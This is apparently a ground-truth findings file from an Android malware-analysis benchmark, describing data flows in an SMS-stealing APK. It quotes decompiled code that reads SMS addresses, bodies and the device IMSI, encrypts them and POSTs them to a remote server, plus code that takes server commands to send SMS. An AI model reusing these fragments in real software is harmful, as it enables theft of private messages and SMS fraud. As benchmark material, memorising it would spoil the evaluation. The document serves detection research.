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smsstealer_kysn_assassincreed_android_samp_findings.json
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{
"fileName": "smsstealer_kysn_assassincreed_android_samp.apk",
"day": "2019-04-08",
"findings": [
{
"source": {
"statement": "Cursor cur = context.getContentResolver().query(Uri.parse(\"content://sms\"), null, null, null, null);",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 45,
"targetName": "query",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r16 = virtualinvoke $r15.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r14, null, null, null, null)"
}
]
},
"sink": {
"statement": "httpClient.execute(httpPost2);",
"methodName": "public void run()",
"className": "com.dsifakf.aoakmnq.GetAll.AnonymousClass1",
"lineNo": 84,
"targetName": "execute",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "interfaceinvoke $r2.<org.apache.http.client.HttpClient: org.apache.http.HttpResponse execute(org.apache.http.client.methods.HttpUriRequest)>($r1)"
}
]
},
"intermediateFlows": [
{
"statement": "String tp = cur.getString(cur.getColumnIndex(\"type\"));",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 48,
"ID": 1
},
{
"statement": "PostBody = new StringBuilder(String.valueOf(PostBody)).append(\"<v><g>\").append(adr).append(\"</g><f>\").append(tp).append(\"</f><m>\").append(cur.getString(cur.getColumnIndexOrThrow(\"body\"))).append(\"</m></v>\").toString();",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 73,
"ID": 2
},
{
"statement": "PostBody = Secure.bytesToHex(parse.encrypt(Uri.encode(PostBody.replaceAll(\"[\\r\\n]\", \"\"))));",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 64,
"ID": 3
},
{
"statement": "strEntity = new StringEntity(\"1=\" + devimsi + \"&3=\" + PostBody);",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 73,
"ID": 4
},
{
"statement": "httpPost.setEntity(strEntity);",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 74,
"ID": 5
},
{
"statement": "final HttpPost httpPost2 = httpPost;",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 80,
"ID": 6
}
],
"attributes": {
"interComponentCommunication": true,
"lifecycle": true,
"threading": true
},
"ID": 1,
"description": "This malicious flow reads the types of sms messages and send to a remote server via an HTTP POST request.",
"isNegative": false
},
{
"source": {
"statement": "Cursor cur = context.getContentResolver().query(Uri.parse(\"content://sms\"), null, null, null, null);",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 45,
"targetName": "query",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r16 = virtualinvoke $r15.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r14, null, null, null, null)"
}
]
},
"sink": {
"statement": "httpClient.execute(httpPost2);",
"methodName": "public void run()",
"className": "com.dsifakf.aoakmnq.GetAll.AnonymousClass1",
"lineNo": 84,
"targetName": "execute",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "interfaceinvoke $r2.<org.apache.http.client.HttpClient: org.apache.http.HttpResponse execute(org.apache.http.client.methods.HttpUriRequest)>($r1)"
}
]
},
"intermediateFlows": [
{
"statement": "String adr = cur.getString(cur.getColumnIndex(\"address\"));",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 49,
"ID": 1
},
{
"statement": "PostBody = new StringBuilder(String.valueOf(PostBody)).append(\"<v><g>\").append(adr).append(\"</g><f>\").append(tp).append(\"</f><m>\").append(cur.getString(cur.getColumnIndexOrThrow(\"body\"))).append(\"</m></v>\").toString();",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 73,
"ID": 2
},
{
"statement": "PostBody = Secure.bytesToHex(parse.encrypt(Uri.encode(PostBody.replaceAll(\"[\\r\\n]\", \"\"))));",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 64,
"ID": 3
},
{
"statement": "strEntity = new StringEntity(\"1=\" + devimsi + \"&3=\" + PostBody);",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 73,
"ID": 4
},
{
"statement": "httpPost.setEntity(strEntity);",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 74,
"ID": 5
},
{
"statement": "final HttpPost httpPost2 = httpPost;",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 80,
"ID": 6
}
],
"attributes": {
"lifecycle": true,
"threading": true
},
"ID": 2,
"description": "This malicious flow reads the addresses of sms messages and send to a remote server via an HTTP POST request.",
"isNegative": false
},
{
"source": {
"statement": "devimsi = Secure.bytesToHex(parse.encrypt(TelManager.getSubscriberId()));",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 62,
"targetName": "getSubscriberId",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r3 = virtualinvoke $r10.<android.telephony.TelephonyManager: java.lang.String getSubscriberId()>()"
}
]
},
"sink": {
"statement": "httpClient.execute(httpPost2);",
"methodName": "public void run()",
"className": "com.dsifakf.aoakmnq.GetAll.AnonymousClass1",
"lineNo": 84,
"targetName": "execute",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "interfaceinvoke $r2.<org.apache.http.client.HttpClient: org.apache.http.HttpResponse execute(org.apache.http.client.methods.HttpUriRequest)>($r1)"
}
]
},
"intermediateFlows": [
{
"statement": "strEntity = new StringEntity(\"1=\" + devimsi + \"&3=\" + PostBody);",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 73,
"ID": 1
},
{
"statement": "httpPost.setEntity(strEntity);",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 74,
"ID": 2
},
{
"statement": "final HttpPost httpPost2 = httpPost;",
"methodName": "public void onReceive(Context context, Intent intent)",
"className": "com.dsifakf.aoakmnq.GetAll",
"lineNo": 80,
"ID": 3
}
],
"attributes": {
"lifecycle": true,
"threading": true
},
"ID": 3,
"description": "This malicious flow reads the IMSI of the device and sends it to a remote server via an HTTP POST request.",
"isNegative": false
},
{
"source": {
"statement": "BufferedReader inp = new BufferedReader(new InputStreamReader(this.httpConnection.getInputStream()));",
"methodName": "public String dataGet()",
"className": "com.dsifakf.aoakmnq.Connect3",
"lineNo": 44,
"targetName": "getInputStream",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r10 = virtualinvoke $r7.<java.net.HttpURLConnection: java.io.InputStream getInputStream()>()"
}
]
},
"sink": {
"statement": "editor.commit();",
"methodName": "private void setParam2(String Param2)",
"className": "com.dsifakf.aoakmnq.CheckUpdate.AnonymousClass1",
"lineNo": 124,
"targetName": "commit",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "interfaceinvoke $r5.<android.content.SharedPreferences$Editor: boolean commit()>()"
}
]
},
"intermediateFlows": [
{
"statement": "String stL = inp.readLine();",
"methodName": "public String dataGet()",
"className": "com.dsifakf.aoakmnq.Connect3",
"lineNo": 48,
"ID": 1
},
{
"statement": "resp.append(stL);",
"methodName": "public String dataGet()",
"className": "com.dsifakf.aoakmnq.Connect3",
"lineNo": 48,
"ID": 2
},
{
"statement": "uncryptResult = new String(parse.decrypt(resp.toString()));",
"methodName": "public String dataGet()",
"className": "com.dsifakf.aoakmnq.Connect3",
"lineNo": 56,
"ID": 3
},
{
"statement": "return uncryptResult;",
"methodName": "public String dataGet()",
"className": "com.dsifakf.aoakmnq.Connect3",
"lineNo": 56,
"ID": 4
},
{
"statement": "return new JSONObject(dataGet());",
"methodName": "public JSONObject getJSONObject()",
"className": "com.dsifakf.aoakmnq.Connect3",
"lineNo": 29,
"ID": 5
},
{
"statement": "this.resultObject = this.connect3.getJSONObject();",
"methodName": "public Void doInBackground(Void... params)",
"className": "com.dsifakf.aoakmnq.Connect1",
"lineNo": 62,
"ID": 6
},
{
"statement": "this.compiteResult.finish(this.resultObject);",
"methodName": "public void onPostExecute(Void result)",
"className": "com.dsifakf.aoakmnq.Connect1",
"lineNo": 51,
"ID": 7
},
{
"statement": "if (!object.isNull(\"fr\")) {",
"methodName": "public void finish(JSONObject object)",
"className": "com.dsifakf.aoakmnq.CheckUpdate.AnonymousClass1",
"lineNo": 67,
"ID": 8
},
{
"statement": "setParam2(object.getString(\"fr\"));",
"methodName": "public void finish(JSONObject object)",
"className": "com.dsifakf.aoakmnq.CheckUpdate.AnonymousClass1",
"lineNo": 68,
"ID": 9
},
{
"statement": "Param2Decode = Secure.bytesToHex(parse.encrypt(Param2));",
"methodName": "private void setParam2(String Param2)",
"className": "com.dsifakf.aoakmnq.CheckUpdate.AnonymousClass1",
"lineNo": 120,
"ID": 10
},
{
"statement": "editor.putString(\"cd\", Param2Decode);",
"methodName": "private void setParam2(String Param2)",
"className": "com.dsifakf.aoakmnq.CheckUpdate.AnonymousClass1",
"lineNo": 123,
"ID": 11
}
],
"attributes": {
"appendToString": true,
"nonStaticField": true,
"pathConstraints": true,
"threading": true
},
"ID": 4,
"description": "This malicious flow reads command and decrypts information from a remote server and store data into shared perference.",
"isNegative": false
},
{
"source": {
"statement": "BufferedReader inp = new BufferedReader(new InputStreamReader(this.httpConnection.getInputStream()));",
"methodName": "public String dataGet()",
"className": "com.dsifakf.aoakmnq.Connect3",
"lineNo": 44,
"targetName": "getInputStream",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r10 = virtualinvoke $r7.<java.net.HttpURLConnection: java.io.InputStream getInputStream()>()"
}
]
},
"sink": {
"statement": "sendMsg.sendMultipartTextMessage(Number, null, sendMsg.divideMessage(DecodeText), null, null);",
"methodName": "private void GoMessage(String Number, String Text)",
"className": "com.dsifakf.aoakmnq.CheckUpdate.AnonymousClass1",
"lineNo": 111,
"targetName": "sendMultipartTextMessage",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "virtualinvoke $r4.<android.telephony.gsm.SmsManager: void sendMultipartTextMessage(java.lang.String,java.lang.String,java.util.ArrayList,java.util.ArrayList,java.util.ArrayList)>($r1, null, $r5, null, null)"
}
]
},
"intermediateFlows": [
{
"statement": "String stL = inp.readLine();",
"methodName": "public String dataGet()",
"className": "com.dsifakf.aoakmnq.Connect3",
"lineNo": 48,
"ID": 1
},
{
"statement": "resp.append(stL);",
"methodName": "public String dataGet()",
"className": "com.dsifakf.aoakmnq.Connect3",
"lineNo": 48,
"ID": 2
},
{
"statement": "uncryptResult = new String(parse.decrypt(resp.toString()));",
"methodName": "public String dataGet()",
"className": "com.dsifakf.aoakmnq.Connect3",
"lineNo": 56,
"ID": 3
},
{
"statement": "return uncryptResult;",
"methodName": "public String dataGet()",
"className": "com.dsifakf.aoakmnq.Connect3",
"lineNo": 56,
"ID": 4
},
{
"statement": "return new JSONObject(dataGet());",
"methodName": "public JSONObject getJSONObject()",
"className": "com.dsifakf.aoakmnq.Connect3",
"lineNo": 29,
"ID": 5
},
{
"statement": "this.resultObject = this.connect3.getJSONObject();",
"methodName": "public Void doInBackground(Void... params)",
"className": "com.dsifakf.aoakmnq.Connect1",
"lineNo": 62,
"ID": 6
},
{
"statement": "this.compiteResult.finish(this.resultObject);",
"methodName": "public void onPostExecute(Void result)",
"className": "com.dsifakf.aoakmnq.Connect1",
"lineNo": 51,
"ID": 7
},
{
"statement": "GoMessage(object.getString(\"nr\"), object.getString(\"tt\"));",
"methodName": "public void finish(JSONObject object)",
"className": "com.dsifakf.aoakmnq.CheckUpdate.AnonymousClass1",
"lineNo": 62,
"ID": 8
},
{
"statement": "DecodeText = URLDecoder.decode(Text, \"UTF-8\");",
"methodName": "private void GoMessage(String Number, String Text)",
"className": "com.dsifakf.aoakmnq.CheckUpdate.AnonymousClass1",
"lineNo": 107,
"ID": 9
}
],
"attributes": {
"appendToString": true,
"interComponentCommunication": true,
"lifecycle": true,
"nonStaticField": true,
"pathConstraints": true,
"threading": true
},
"ID": 5,
"description": "This malicious flow reads command and decrypts information from a remote server and sends a multi-part text based SMS.",
"isNegative": false
}
]
}